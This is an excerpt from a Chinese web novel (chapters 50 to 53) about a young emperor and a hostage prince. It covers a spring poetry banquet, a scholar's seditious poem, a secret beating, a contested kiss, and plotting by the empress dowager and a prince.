此话一出,小郡王眼神立刻从探究变得同情,感同身受地拍了拍裴郁璟的肩,“兄弟,我也是如此啊,我虽读书,可就是读不进去,没关系咱不是这块料,千万别勉强啊。” 人多聚众,师离忱今日出来得急,没易容,都是些公子哥难免有些是进宫见过他的,他倒是不怕被认出,只不过不想引来不必要的麻烦。便找了个树阴偏角的位置坐下,又叫郞义借位挡住了席上的诸多视线。 郞义一身肃黑,不扎眼,即便有人认出了郞义,也只会认为统领大人是来看热闹的,也有人想来攀关系。 只不过郞统领一个冷冰冰的眼神就能吓退这些没经历过风霜的贵公子们。 曲水流觞的规则,与飞花令有些相似。 陶制的酒盏从水流上游放置在荷叶上,在浮与水面往下游之,停在谁的面前,谁便要赋诗论文,论不出诗文者,要饮尽酒水。 也被称之为‘羽觞随波泛’。 酒盏里的酒水可不是放得什么果酒米酒,而是实打实的烈酒,杯有双耳,底部有些深,口与碗差不多大。 这一大碗烈酒下去,没点酒量的大概得醉了。 曲水流觞开始。 慢悠悠地晃到第一个人面前停下。 响起赋诗之声,引满堂喝彩。 荷叶继续往下飘,过了几位文人,又停住,轮到了下一位。 这一位的作词,中规中矩,但气氛要到位,旁边的纨绔们最会搞氛围,拼命叫好,又是一阵热闹。 席面端得一派和谐之意。 “你怎么老看郞统领。”荀嵩古怪地瞥一眼穆子秋,“芍药姑娘就在那边你一眼不看,你看一个硬邦邦的男人,你不会有什么特殊癖好吧?” 穆子秋‘啧’一声,瞪了眼荀嵩,骂道:“滚蛋,你恶心不恶心!” 谁稀罕郞义了! 他耳尖发红,不断瞥着郞义后头,露出的一角玄青大氅,连曲水流觞进行到哪儿了都没认真听,满脑子都是想着要不要过去,又怕惊扰了圣上。 然后。 他就看到最讨厌的人,干了他最想干的事。 裴郁璟过去了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 师离忱眼看着裴郁璟明目张胆的走过来,和他挤在一个席位上,还托着他的手,就着他的酒盏,将酒水一饮而尽。 行为举止奇奇怪怪,令师离忱莫名其妙地笑了一下,“怎么,我杯子里的能更好喝?” “的确。”裴郁璟扫了眼师离忱的双唇,还在回味酒味,要不是地方不对,他甚至能在小皇帝嘴巴上啃一口。 离宫两三日,他想开了。 顺便去取了点经。 不做得明显一点,这位一心政务的帝王是不会懂的。 然而师离忱只觉得裴郁璟是精神病犯了,一酒盏砸进裴郁璟怀里,压低嗓音恶声恶气道:“滚远点,别把其他人的注意力引过来了。” 这厮这些天太招摇了,人一过来,把一小部分人的目光也吸引过来了,好在大半部分的人都关注着曲水流觞的举行。 裴郁璟有些不情愿,对上师离忱死亡视线,他噎了一下,通常皇帝笑容和善目光渗人的时候,所代表的意思他很清楚。 不过圣上很久没扇他了。 有点想。 裴郁璟默默起身,心底已经开始期待回宫之后帝王的惩罚,无非就是踩一踩,扇一扇,很轻柔了。 他有点跃跃欲试。 …… 另一头。 穆子秋牙咬得咯吱咯吱响。 荀嵩左右看看,“有老鼠?” 穆子秋冷笑,“不,这是仇恨的声音。” “不像。”荀嵩评价,“更像是嫉妒,你眼睛都快红到滴血了,子秋要不然照个镜子?” 穆子秋一拳砸案,他不敢用力引起旁人注意,收了力道,结果就是连酒杯里的酒水都没晃一下。 曲水流觞已进行到中期。 水渠旁一名举子身着朴素,已然一副醉醺醺的模样,水渠当中的荷叶恰好停在他身前。 这举子尚未反应过来。 旁边有人提醒他,“陶兄,该你了。” 举子倏然站起,举杯高呼:“该我了!诸位且听我赋诗一首——” 这一嗓门引去了大部分目光,他清了清嗓子,大笑着道:“黄屋天临一载馀,杀心未已复何如……” 第一句刚出,便满堂寂静。 原本有些微醺地小郡王面色登变,朝旁边的小厮狂使眼色。明明前些天被京兆尹处下狱的举子都未宴邀,防得就是这档事,怎得又有人起乱子。 出言不讳非议君王,这帮书生不要脑袋,他还要! 穆子秋也被这位陶举子的狂悖之言惊得回神,回首一看,陶举子正兴起,整个人踏上了小案,站得高高举杯挥舞,“生灵万命轻成草,文武诸官贱等鱼。” “治少乱多思古训,刑宽政简读遗书。” “吾君德泽原非薄,四海苍黎岂忍屠!” 显然是有备而来,就算是小厮以最快的速度过去将人架起来往外拖拽,也拦不住他作诗的速度。 空气中弥漫着死寂,连一点风吹草动都格外明显。 吃豹子胆了在他的场子作死!小郡王脸都绿了,牙都快咬碎了,还镇定自若地安抚众人,“此人胡言乱语!” “草民的嘴易堵,悠悠民众之心难堵啊!”陶举子甚至还在狂笑,“天子暴政,尔等竟装聋做哑。” 他道,“京都林氏协助多少学子成才,到头来被诛九族!佛寺救灾救民,可天子大笔一挥便取数千僧人性命!满朝文武无一人置喙,那便我来!” “还不快堵了他的嘴,打出去!”小郡王怒斥。 小厮立即捂着陶举子的嘴巴,闷头将人继续往外拖。 与此同时,穆子秋扫视一圈,见有一些书生面露迟疑似心中动摇,他当机立断,沉声道:“且慢!” 有穆世子发话,小厮瞬间停下了动作。 小郡王不解地看了眼穆子秋,考虑到穆子秋目前在御前办差,只不悦提醒道:“可别在我这春日宴上杀人!” 满场肃穆,此话一出尤为清冽,几乎所有人都听得大差不差。 陶举子摆脱开小厮捂嘴的手,呸呸了几下,高昂着头颅:“我月商儿郎有气性,哪怕今日我血溅三尺!也要警醒世人!” 回应他的是一声暴喝,“哪怕你今日死在这儿!明日朝堂百官,也不会有人为你陈情半句!” 看着面前神情冷凝的穆世子,陶举子一怔。 穆子秋一步步逼近,言辞犀利:“你口口声声指责圣上取僧人性命,你又可曾了解过这些邪僧做过哪些恶事,你光知道林氏相助寒门学子,又可曾知他们从这些学子身上获得了利益!” “你光知道圣上下令杀了人,却不了解案子内情,不去看受害者的悲痛,不去看那家破人亡的凄惨,不去看沉冤得雪者的苦难,便打着主意在这春日宴上血口翻张,信口胡言!” 他眼睛直直锁定了陶举子,一字一句掷地有声,“单有学识不用与明理,反倒用于谣诼,也就圣人大肚不与尔等计较,我不行,不骂你难解我心头之恨!你们这帮人,枉读圣贤书!” 字字珠玑,众人越听脑子越清醒,其中也有牵扯在九华寺一案中的知情学子,狠狠啐了口陶举子,“前些日就想骂了,官府张贴榜文那般显眼,你去瞧一眼呢?圣上真是开明,没禁了你们这些惑乱人心之人的科举。” 一语激起千层浪,登时学子们愤慨起身,指指点点。 陶举子气势陡然弱下,自觉理亏,碍于脸面又不能承认错处,看了眼在场众人,咬咬牙拂袖离席。 穆子秋长舒一气。 眼睛下意识往郞义那边看去,可惜了现下那边有两个人挡着,郞义和裴郁璟都站在了前头,他这会儿连圣上的衣摆都瞧不见了。 不过。 他暗自昂首,嘴角上扬。 圣上应该也注意到他的表现了吧? …… 师离忱确实注意到了。 但师离忱这会儿更想骂突然移步挡在前头的裴郁璟,措辞半晌,简化成了一个“滚”。 陶举子这一出,为春日宴带来了一点话题,宴上重新恢复了热闹的景象,曲水流觞继续进行。 “差点忘记了,这宴上的东西你吃不惯,给你带了点糖。”裴郁璟悄然塞过来几颗用帕子包着的糖,然后若无其事地走开。 打开帕子,师离忱捻起一颗糖,圆滚滚胖乎乎的乳糖掐在指腹当中,似乎能闻到甜香的味道。 糖的问题早在先帝时期被解决,如今糖价虽贵,寻常人家若想尝一口也能花费得起。 故此京都城中对于糖的做法花样百出,这是近来流行的乳糖,一般是专门用来哄小儿用的。 “公子,小心为上。”郞义低声提醒。 “还能毒死我不成。”师离忱眸中含笑,大大方方将乳糖丢进口中,眯起眼睛懒洋洋道,“他还没那么蠢。” 就是一颗普普通通的乳糖而已。 味道有些甜腻了。 郞义垂眼,观察圣上神色并无不妥,这才缓缓松了口气。 明月高悬。 时辰不早了。 师离忱看了看夜空里疏朗的星月,他眸色微动,忽地起身道:“走吧。”这样喧哗繁闹的春日宴,并没有给他带来多一层的乐趣。 …… 圣上悄然的来,悄然的去。荀嵩瞪大了眼看着那一前一后离席的侧颜,惊得张大嘴巴,“哎,那是——” “你看错了。”穆子秋手一抖,片了一大块炙羊肉塞进荀嵩嘴巴里,堵住了他的话头,将人身子掰朝着曲水流觞的方向,“走走走,品诗去!” * 离席的不止一位。 裴郁璟也悄悄退了宴。 近来开放夜市。 京都繁华,夜市一贯火热,星布珠悬,筹灯交错,即便是夜深主街行人也未有丝毫减少。 陶举子离开千鹤楼后,还在为了其余人的不理解而愤愤不平,他自诩傲骨不愿低头,宴上也吃得少,闻到路旁冒热气的大饼,腹中叫唤了声。 “哎,书生,可要来块饼子?”烙饼的大爷招呼着陶举子,陶举子面上一红,连连摆手快步离去。 京都这地,什么都贵。 距离春闱开始还有一个多月,他兜里的银钱要住闹市之中的客栈酒楼不够,但要租一间偏僻一点的,百姓家中的小屋却足够。 离主街越远,行人便越少,亮着的灯笼也越来越少,府衙官吏巡使,会按时辰灭掉道路旁的灯火。 陶举子瑟缩得裹紧衣物,深思着穆世子所言,或许他是冲动了些……正想着,他拐进一个巷子。 “唔!” 一棒当头,麻袋套下,挣扎的麻袋在被踹了几脚之后,昏死过去。 夜黑风高。 “当啷。” 一丝月光落入巷子,裴郁璟丢掉信手抓来的竹棍,看着麻袋里的人,神情阴翳眼底透出几分凉薄森冷。 虽然。 起了杀心。 但动手时他还是拿捏了分寸,只会叫人伤上几日,断不会要人性命。否则小皇帝一定会动怒。 * 皇宫内廷。 尘封多年的千秋殿被再次打开,乐福安静静跟在圣上身后,踏进这片多年不曾步入的地方。 满殿桃花香,师离忱接住一瓣飞来的花片,看着殿前栽满的桃树,叹道:“难为这些桃树,无人打理还能生得这般健壮。” “纯妃娘娘当年十分喜爱这些桃树,想来是那时打下了根基。” 乐福安观察着圣上的神色,这次的春日宴圣上不曾带他外出,方才听郞统领提过一嘴,宴上似乎有人作了不大友善的诗词。 他斟酌着措辞,“圣上,这花开得,可要折几支放置在寝殿?” “它开得好好的,折它做什么。”师离忱哼笑摆手,往殿中走去,这里的陈设一如五六年前。 封了的宫殿不代表完全无人打理,乐福安知晓圣上在乎千秋殿,会每隔一月半月就派宫人过来清理,以免落灰。 桌案上有一座缩小的宅邸院落,全部由木头制作,旁边还落了一把雕刻木头用的小刀。 宅邸还原地很精致,栩栩如生,只是用于点缀的草木全都干枯,整体还有些许陈旧。 师离忱视线落在宅邸后院,围在圆桌旁的四个小木偶上,以目光为指,一点点抚过。 乐福安有些心疼,道:“圣上,斯人已逝。” “母妃没刻完,这小孩连个腿都没有。”师离忱指着妇人身边只看得出五官的两个木头小孩,嘲笑道:“这手艺,做木工定是卖不出价钱。” 乐福安没接话,只拧着眉心,看着圣上笑出眼泪的眼角。 纯妃入宫前,居与江南,嫁给门当户对的一户才子,得一对龙凤胎。 先帝作孽,不知为何突下江南,硬是将纯妃娘娘与一家四口拆散,将娘娘困在宫中。 娘娘郁郁寡欢,究其一生只能怀念江南。 这缩小的,只能在案上摆放着缩小般的宅邸,是纯妃雕刻出来的物品。 师离忱笑完了,眸波恢复平静,淡淡地睨着这座宅邸。 “福安,你说母妃这么好的人,怎么就遇到畜牲了。”他有些费解,喃喃道:“母妃当年就不该救他的。” 圣上在骂先帝。 乐福安更不敢吱声了。 好在师离忱也不是真的在和乐福安说话,他只是在骂。 骂完先帝,又冷脸对着宅邸后院雕刻出的妇人像,“叫你乱捡人,现在好了,你搭进去了,连你夫君一家也死透了……以后千万长点记性!” 说着他又笑起来,低敛着眸子,也不知在想些什么。 乐福安尽量放轻呼吸,瞧着圣上面色柔和,出言劝慰道:“圣上,夜深了。” 师离忱慢条斯理地“嗯”了声,从殿中走出,拂袖坐在了廊前的台阶上,看着那满院盛开的桃花。 月光银冷。 望着圣上的背影,乐福安守在后头无声一叹,又听圣上平常道:“退下吧。” 他默不作声的行礼,随后退到了千秋殿之外的地方。 通常这种时候。 让圣上一个人待着会更好些。 * 膝头隐隐泛痛,师离忱慢吞吞地揉着,一件大氅倏地披在了身上,一道高挺的身影坐在了身旁的台阶。 师离忱侧目瞥一眼悄然出现的裴郁璟,忽然伸手掐住他的脸颊,“朕的皇宫你逛的很起劲?” “郞统领守得太严密,只好出此下策。”感受到裴郁璟脸颊贴着的微凉指腹,顺着帝王的意思,嬉笑着将脸凑得更近些。 师离忱唇边带笑,捏了捏道:“旁人可比不得你这般厚脸皮,这才几日的功夫你就成了京都城的大红人,失敬失敬。” 裴郁璟将掌心贴在了圣上的手背上,偏过头将高挺的鼻梁凑近圣上的手掌心,闭目深吸一气,“一帮连杀鸡都费劲的毛小子,糊弄糊弄就过去了,总不能叫圣上一直背着骂名吧?” 灼烫地呼吸洒在掌心,师离忱忍不住蜷了蜷手指,抽回了手反手甩了一巴掌,斥道:“别挨朕那么近。” 然而这一巴掌打下去。 裴郁璟猛地抬头,将目光牢牢锁定在他身上,眼神可疑地变亮了,宛若一头苏醒的猛兽,正跃跃欲试地扑向猎物。 师离忱嗤道,“又犯诨了?”他打量着裴郁璟的神色,探究地眯眼双眸,认真端详一番,忽地低低一笑。 原来如此。 他心绪平和,指腹碾在裴郁璟脸上的指印,嗓音轻和,“让朕猜猜,你在想些什么。” 裴郁璟喉结滚了滚,直勾勾地看着帝王,故意往前靠了靠,让上半身俯低了些,由着帝王将手按在他的后颈,细细摩挲着那块经常抚摸过的颈骨。 微凉的指腹擦过肌肤,带起一片战栗,让他有些干渴,连带看着帝王的眼神也变得更幽深。 “你想……” 师离忱慢悠悠地说着,身子骤地往前一冲,直到唇要贴到裴郁璟的时候,才堪堪停住。 相隔不过毫厘。 二人几乎是挨在了一起,裴郁璟瞳眸微缩,陡然屏住呼吸,好一会没缓过来这份冲击。 四目相对。 师离忱嘴角带起一抹恶劣的笑,拍了拍裴郁璟的脸,“你想得美。”居然敢肖想朕。 裴郁璟眼底一暗,眼见皇帝要退开,神情遽然一沉,臂膀揽去让按住了帝王的腰心,将其往前一推。 他只微微抬首,如野狼觉醒般,叼住了猎物。 师离忱退不得半点,后腰被结实的小臂完全桎梏。 双唇相贴,他面色骤冷,又怎可能让自己落于下风,于是按在裴郁璟后颈的手往前挪了挪,跟着发力。 裴郁璟更兴奋了,根本舍不得放开这块好不容易吃到口中的猎物,急切地用力地轻咬着帝王的唇瓣,企图撬开齿关,将地方完全占领。 哪怕是掐在脖子上的手在收紧,带着一股死亡意味的窒息感传来,也不能让他松开,甚至尝到了帝王唇上的一点,淡淡的血腥气。 下一刻。 那股窒息感撤去。 下唇忽地一阵刺痛,原本还是浅淡的血腥味顷刻间变浓,瞬间充斥在双唇之间。不知为何,师离忱的情绪变得激烈了。 裴郁璟甚至能从他的眸中,瞧见燃起的胜负欲,红着眼尾,却用力揪住了他的衣襟,撬开他的齿关,反攻而来。 当然,其实不用撬。 他城门失守。 只是他更想,突破一下小皇帝的防线,于是又缠绕上去。双方呼吸沉重着,不肯相让,追逐啃咬着对方,硬是要比出一个高低来才好。 半响。 双方猛然分开。 师离忱大口吸着新鲜空气,双唇透出几分颓靡之色,本就明艳的眉眼泛起一层薄薄红意,在冷白的皮肤之下格外夺目。 裴郁璟舔着唇上残留的血迹,眼神依旧如狼似虎地盯着师离忱,似有意犹未尽的模样。 四目相对。 沉默着。 师离忱冷笑一声,“再看朕挖了你的眼!”说着他起身,丝毫未提方才二人相争的事,拂袖便走。 瞧着身影走远,裴郁璟往后一仰,整个人躺在冰凉的廊道上,双眼直愣愣看着星空,周边似乎还残留着圣上身上淡淡的香气。 心跳迟迟不能平息。 好…… 比预想的,还要软。 而且小皇帝的态度,似乎并无那般厌恶。 …… 心绪久久不能平息的,岂止裴郁璟一人。 气性一大,师离忱连旧疾都忘了,满脑子都是赢。 圣上一贯都是闲庭信步,走得慢悠悠,以至于身边刮过去一阵风的时候,他还没反应过来。 直到看见那健步如飞的背影有些眼熟,才急匆匆追过去,一边催促着步撵快些,一边唤着,“圣上!等等老奴,哎哟圣上!小心旧疾!圣上,注意用膝!圣上!慢些!圣上!御撵追不上您了!” 师离忱倏地顿住。 一股无名火这会儿才冒上来,他眼睑低敛转着玉戒,神色难辨喜怒。 好个放肆的裴郁璟! * 春日宴上发生的争端。 第二日就悄悄散布开来。 另外,府衙收到了好几份诉状,有好几名此界参加春闱的学子,昨天半夜被人套了麻袋打了一顿。 伤得倒是不重,喝几日汤药就能下榻,只是这贼人暂无头绪,便状告到了府衙审理。 京兆尹看着其中三四个熟悉的名字,失去情绪管理,笑得眼睛眯成一条缝,牙花全都冒了出来。 老熟人了。 这不上回作诗编排圣上,被训过一顿放出去那几个吗?这是有人伸张正义来了?作为府衙,他这样有失公允。 但作为私人,他乐得其见。 圣上宽厚饶了他们,胆敢再犯,就该吃点皮肉之苦! …… 这厢。 乐福安在伺候圣上用膳,“太后娘娘过来了,想见一见圣上。” 师离忱下朝之后便批了一清早奏折,眼下头疼的要死,哪有空应付这人,漫不经心道:“请太后回去歇息,和她说说,若实在闲得无事,养几个面首也行,不必给先帝留什么颜面。” 乐福安欲言又止,“不合规矩,圣上这般应允,御史台会弹劾您的。” “御史台那帮老家伙分得清是非轻重。”师离忱放下汤碗,吃饱了净手,水声撩拨与殿中,“你瞧今日的朝会,有谁提过春日宴那首诗?老家伙们最懂怎么明哲保身了。” “欸。”乐福安笑应着,出去回太后的话。 师离忱拿起帕子擦嘴。 “嘶——” 他轻轻吸了口凉气,舔去唇瓣上渗出的血珠,头一回伤到这里,还有点不习惯,扯到了。 内殿传来一阵铁链碰撞声,裴郁璟道:“圣上没事吧。” 师离忱不咸不淡道:“你还是关心关心你自己吧。” 里头,裴郁璟脖子上套着熟悉的锁链,捆在熟悉的柱子旁,熟练的将锁链在手臂上绕了几个圈,半吊着。 昨夜回来,小皇帝以一副若无其事的冷淡模样,踹了他几下,窝心脚劲够大的,他都有点内伤了。 不过他乐意。 看得出来,小皇帝根本没计较被亲的事,只是不满他的行为猖獗,这是他付出最小的代价。 但是。 值得。 踹得好。 下次还敢。 …… 咬一口而已,又不是没咬回去,师离忱坦于承认自己的感受,与裴郁璟亲近,简直算是一场酣畅淋漓的博弈。 他不排斥。 但不代表,裴郁璟可以自作主张的犯上。 帝王素来不容侵犯不容置喙。 裴郁璟全都犯了,还胆敢妄想! 真是该死! 该倒一倒脑子里的水。 但交易达成的当下,即便没有系统掣肘,他也不能杀裴郁璟。可不代表他不能给裴郁璟一点教训。 不过他很怀疑这点无关痛痒的教训,真的让裴郁璟记住了吗? 怎么有点乐在其中? 眼看着裴郁璟把锁链当秋千用,单臂拉着锁链,在内殿慢悠悠地荡着,师离忱沉冷着脸,真想再踹他几脚。 多瞧一眼都心烦。 师离忱慢条斯理地收回眼神,转身去御书房。 不一会儿。 乐福安进来,招呼梁上的裴郁璟,“裴殿下,下来吧,圣上发配你去兽园,快走快走。” 尚且还在回味昨夜滋味的裴郁璟,笑容顿时僵住了。 * 御书房送走京兆尹。 师离忱都不用猜,就知道昨夜行凶之人是谁。 明明目光还停留在奏疏上书写的内容,思绪却飘远了。他情不自禁,低头忽地笑出了声。 当真是…… “……” 乐福安哪里见过圣上这幅样子,反常极了,当然他也没敢问圣上到底和裴质子之间发生过什么。 他深知世上没有所谓的巧合。 哪能圣上唇瓣上刚刚破皮结痂,裴郁璟嘴唇嘴角就出现了几个新鲜出炉的牙印,不像话! 一看就知道有问题。 只要圣上喜欢,乐意,乐福安怎么着都行,但瞧两个人搞得这么惨烈,他可以肯定,圣上绝对是不排斥,但也算不上接受的态度。 那么需要考察的只剩下一个人了。 乐福安会把剩下的精力,和目光聚焦在裴郁璟一个人身上,要给圣上做面首,可就不能继续那么糙养着了。 …… 与此同时。 本该和小汤圆呆在同一间山石洞穴的裴郁璟,被小太监领到了兽园偏殿的屋子。殿屋虽小,五脏俱全。 门一开。 两排小太监俯首站立,低眉顺眼地呈上托盘,每个盘子里都垫着红绸,绸布上五根圆柱形状,从左到右,从大到小的物品。 左边一排是木,右边一排是玉。 福生低着眼,目不斜视道:“裴殿下,我们福公公吩咐您,伺候圣上不能马虎,好好养着,千万不能在圣上用得上您的时候,掉链子。” 裴郁璟敛掩着眼,神情晦暗道:“这样啊,放这儿吧。” 福生行礼,朝小太监做了个收拾,小太监们陆续将托盘放置在了桌案上,有序地退去。 福生临走前,眸子扫过裴郁璟垂在身侧的手,此刻已然捏紧成了拳,还在微微发颤。 他心中叹息,都有些同情起了裴殿下。 无论怎么看这种送玉势的行为,都是折辱吧,只希望裴殿下能过心中那关,况且与圣上站在一处,怎么瞧都是占便宜了。 …… 殊不知。 裴郁璟是难以压住心中的亢奋。 人一走,他抬眼,盯着那盘翠绿颜色的圆柱体,满眼血丝。 这温润剔透的材质与他并不是很配,可要是与那尽心呵护,矜贵的帝王贴在一块,那才是真真的相得益彰。 光是想想。 便足以令他血脉喷张。 他冷静的挑出一根,其中最壮的一条,认真打量过后又有些嫌弃,这玩意和他的比起来,还是小了一圈。 以小皇帝的脾气,这东西直接拿过去,小皇帝肯定会先给他几刀。 还得徐徐图之。 天子恣意,心向往之啊! * 寿安宫。 “啪!啪啪!” 花瓶,茶盏,连续摔碎。 太后怒不可遏,“以为弄倒了一个九华寺,哀家就拿他没办法了?!” 她将气洒在身边跪倒的小宫女身上,一脚将人踢开,“告密去啊,你们都是他的人,哀家今日说了什么,你们尽管去告密!” 想起乐福安所说的,养面首之类的话。 她恼恨道,“一个阉人,也敢对哀家横眉竖眼,你们这些人有一个算一个,都是该死的货色!滚!都滚!” 宫中跪倒的宫人们生怕祸临己身,一个个忙不迭地往殿外退。 “等等。”穆锦绣倏然发话,情绪很快冷静下来,沉着脸道:“哀家瞧着近日宫中的花开得艳,速去给各家家眷下帖,哀家邀她们进宫赏春华。” 她捡回弄香的压灰,细细按着,一点也瞧不出几息之前的癫狂摸样,吩咐道:“若是闺中有适龄待嫁女子的,一定要叫夫人带来叫哀家掌掌眼。” 第52章 春寒料峭。 京都城近来有许多道僧走动。 佛寺僧人提案盖棺定论,各地州府已进行紧锣密鼓的筹办,联合大理寺对各处佛寺道观进行查办,有罪定罪,该放逐的放逐,其余则一律还俗。 一些全靠出家躲避赋税的僧道没有真才实学,自然拿不到度牒。 真正的出家人早就抓紧时间,到礼部进行考较,拿到正规颁布的祠部牒,避免仿制度牒会有官府独有的印刻痕迹。 一通操作雷厉风行,天子一怒浮尸万里。 所亡僧人不知凡几,被诱赌者,欠与佛寺的印子钱并非不必偿还,而是减去了高额的利,佃农还是需要偿还本金。 不过他们从卖身的奴隶,成了为国耕种的佃户,偿还了债务自可得自由。这是师离忱与内阁商议出的对策。 佛寺诱赌有错,可其中未必没有下赌之人的贪心,犯错就要接受带来的后果。 以免人多带来混乱,礼部张贴过春闱开科时间过后,京都城中的禁军便开始轮班巡视,避免出现闹事,谣传。 所有事都在有条不紊的进行。 师离忱收到一封来自边关的密信,秦家军报了鞑靼动向,一切平稳,暂无开战迹象。 一时间师离忱闲暇了起来。 没事就关心关心鹿亲王,叫来用顿膳。 鹿亲王有好长一段时间联系不到合作者,断了养私兵的钱财,正急得头上冒汗。毕竟他那点俸禄私库,撑不了多久。 加上提过两三次回封地的事,都被圣上否决,他也不敢再提。 前些日子圣上春耕外出,他本想安插一个暗桩却没能成功,这种笑面之下的刀光剑影,焉知是福是祸。 如今面对圣上,他心中没底。 “臣近来康健,圣上不必为臣忧心。”鹿亲王儒雅的面孔上笑得勉强,“臣身子骨随了高祖,硬朗。” 师离忱轻笑道:“那就好。” 他似愁般的叹道,“朕只剩皇叔与九弟两位亲人了,九弟有不喜在京都长待,只能委屈皇叔陪一陪朕了,皇叔可要稳当些。” 鹿亲王顿了顿,垂首应着,“臣不敢。” “皇叔别紧张,朕随口一说罢了。”师离忱低低笑了一声,“听闻太后办了个春华宴,皇叔可要去赏一赏?” 鹿亲王笑道:“太后此番宴请皆是女眷,臣留下于理不合,便先退了。”说着他起身行礼。 师离忱微微颔首,兴致缺缺地瞧着鹿亲王出门去,嗤笑一声,对乐福安道:“你瞧他这装模作样的德行。” 乐福安拿着温热的药包,蹲下身给圣上膝盖暖敷,笑脸应合道:“方才奴才瞧鹿亲王出去的时候,忙着擦汗呢,圣上就爱戏弄他。” 师离忱唇边噙笑,懒洋洋地靠入椅中,“这些人啊,心怀鬼胎,偶尔瞧瞧他们惊慌的模样,真是叫人开怀。” 其实这些皇室宗亲,惹出几点小麻烦也无伤大雅。先帝一脉就剩个鹿亲王,要是鹿亲王安安分分在封地过活,他也不会为难鹿亲王。 偏偏鹿亲王是个蠢的, 压制的野心,被身边人撩拨几句就死灰复燃,偷养私兵,还偷摸与朝廷武将有私下相交。 这就触及到底线问题了。 师离忱慢条斯理地转着玉戒,眼波一片漠然,既然不想安分,那就要把这颗随时会炸的雷引爆。 鹿亲王谨慎的很,不到万不得已,绝对不会冲动行事。 师离忱倒是想直接杀完了事,只是如此的话,鹿亲王留下的后手,定会让私兵成匪,到处作乱。 所以。 一网打尽才是正确途径。 只看鹿亲王手里的钱财,能够支撑多久了。 钓鱼这事不能急。 鱼儿饿了,自然会咬钩。 …… 至于太后办的什么春华宴? 师离忱连半个眼神都没给。 * 时间一日日过。 春闱有条不紊地展开,礼部忙得不可开交,本届主持春闱的柳清宁更是忙得脚不沾地。 内阁拟题修修改改,直到会试半月前才彻底确定。 以防舞弊,科举沿用前朝制度的同时,也进行了一定改良。 而出题的大臣,直到会试结束之前都住在皇宫内。 圣上专门拨了昭阳殿给他们用,拨了几个宫人伺候,当然也住在昭阳殿,要确保与外界隔绝。 每日三餐从门洞里传递进去,由金吾卫送达,将一切后患杜绝。 卷子出好后,会把最终确认版送到柳清宁面前过目,然后再递到圣上面前,一般审校过的科举卷子,不会有大问题。 会试正式开始之际。 京都城中也叫停了夜市。 贡院的考生都带着寒窗苦读的希冀,将毕生所学,愤与笔下。拼搏所有图得一个榜上有名。 贡院考官日夜巡视,禁军在外把守,绝对一只苍蝇都飞不进去。 春闱由柳清宁主持,他每日都会来监考,并亲自参与了最后的收卷,将卷子一张张收上来。 收到陶举子之时,他眼神微微一顿。 毫无疑问,陶举子春日宴上的一首斥君诗,早已名扬京都,柳清宁听过那首诗,自是不喜地敛了敛眉,收走了卷子。 会试卷子送进宫中,由内阁大臣批阅。 圣上虽未点名让太傅阅卷,但太傅实在关心春闱结果,自请前来,这次阅卷者便多了一个太傅。 卷子姓名籍贯的部分都被封存遮住,只有干净整洁的卷面供览,一人批过还要由另外一人检查,圈圈点点进行标注。 或许是知圣上登基之后的科举足够严苛公平,无舞弊之风,又加上圣上开明,对各省名额限制并不严格。 主张‘每个举子都有’机会的理念,此次春闱参与的举子数量比往年的要多上许多。 考虑到京都城的贡院或许不够满足那么多人参考的条件,圣上还专门批令,给贡院扩建了一个范围,足够容纳数万考生。 统计过后,竟有一万一千三百多张卷子。 剔除在卷中提及自身信息的考生,剔除卷面不整的考生,那么还剩下一万零九百多张。 太傅批得两眼乌花,有些后悔道:“早知该问问的,老夫手都快断了,批不完根本批不完。” 难怪太师那老匹夫要嘲笑他自不量力,这分明就是趟体力活,难怪圣上那么痛快答应了,原来是缺人。 太傅悔之已晚。 这坑他自己跳的,跪着也得批完。 各地州府建立的监察司陆续传回讯息,考虑到犯事官吏需要补上,本次会试择优录之。 往年会试上榜有三百多人,太傅算了算卷子的数量,估算这批过会试的大概能有五百人左右。 事关重要,这批会试卷子从审阅,到正式批完,最后检阅,总归用了半个月的时间。 统计出了四百九十三份出色文章,以文章论先后,做好标注,再拆开封死的卷册确认姓名籍贯,编撰上榜。 过了会试,即有资格参加殿试。 几个翰林院内阁大臣,为了阅卷不分白天黑夜,眼下挂着大大的黑眼圈,直到确认榜单编撰结束,才松下一口气。 柳清宁顾不得失礼,揉着发酸的眼睛走出殿外,才恍然察觉。 夜深了。 * 春闱开始多久。 师离忱就有多久没召见裴郁璟。 目前系统和死了一样,只要系统不作妖,师离忱根本不在乎裴郁璟到底在掀什么浪。 早早躺在软衾当中,师离忱倦怠地耷拉起眼皮,毫无睡意。 四面黑暗沉寂。 烛火早就熄了,一般帝王寝殿的外间,都会留一两盏灯,但他讨厌光亮,这才一丝不留。 会试过后就是殿试。 而一个月后就是殿试。 到殿试为止,书中剧情才算是正式开始,卫珩一将在本次春闱夺得探花,之后不受重用,与男主惺惺相惜。 师离忱很想看看到底是怎么个惺惺相惜法。 至于之前那件事,他并不是很在意。 换言之,他信裴郁璟想报仇,可以和他做交易,打南晋。但不信裴郁璟对他的心思有多纯良。 情欲而已。 哪怕是滚到一张床上,也不会代表什么。 嗯…… 仔细想想,裴郁璟身形挺拔,宽肩窄腰,肌肉线条流畅,是一副难得的好身躯。 长得也不差,眼神如鹰隼般锐利,带着一股桀骜的野性,面容深邃而阴鸷,就如一匹难驯的烈马,时时都有暴起反抗的危险。 美好的躯体玩弄起来,肯定尽兴。 师离忱忽地有些兴奋了,微蜷的手指抓住了软衾,长睫懒懒抬起,开口道:“裴郁璟,滚下来。” 声音不轻不重带着一丝低哑,在寂寥的殿中格外清晰。 一道黑影瞬间从梁上一跃而下,熟练地来到龙床边的踏道,大掌撩开了幔帐,蹲身趴在了边沿。 裴郁璟原本是想耐心等一等的,可小皇帝比他有耐心,说不见就不见,他心里和被猫挠似的。 亲过了。 还送了几盘玉势,就没后续了? 帝王之心善变,真叫人心寒! 他就时不时蹲在梁上,偷摸跟着小皇帝,看看他到底做什么,刻意地和几个守着的死士打了几次照面。 死士对他熟视无睹,甚至偶尔会掰半块饼分给这位自愿上班的同僚。 由此可证。 小皇帝知道他在这儿,就是不理他。 第53章 裴郁璟一口气憋着下不来,干脆就当起梁上君子,圣上晚间熟睡的时候来得最勤快。 他想等等,看皇帝到底什么时候能想起他。 然后看着帝王玩弓箭,巡视明工坊,批阅奏折,外出踏青,看蹴鞠赛,看相扑,赏乐……就是不记得他! 他心都凉了。 师离忱真的把他这个人给忘记了? 随后。 他便听到圣上唤他的声音。 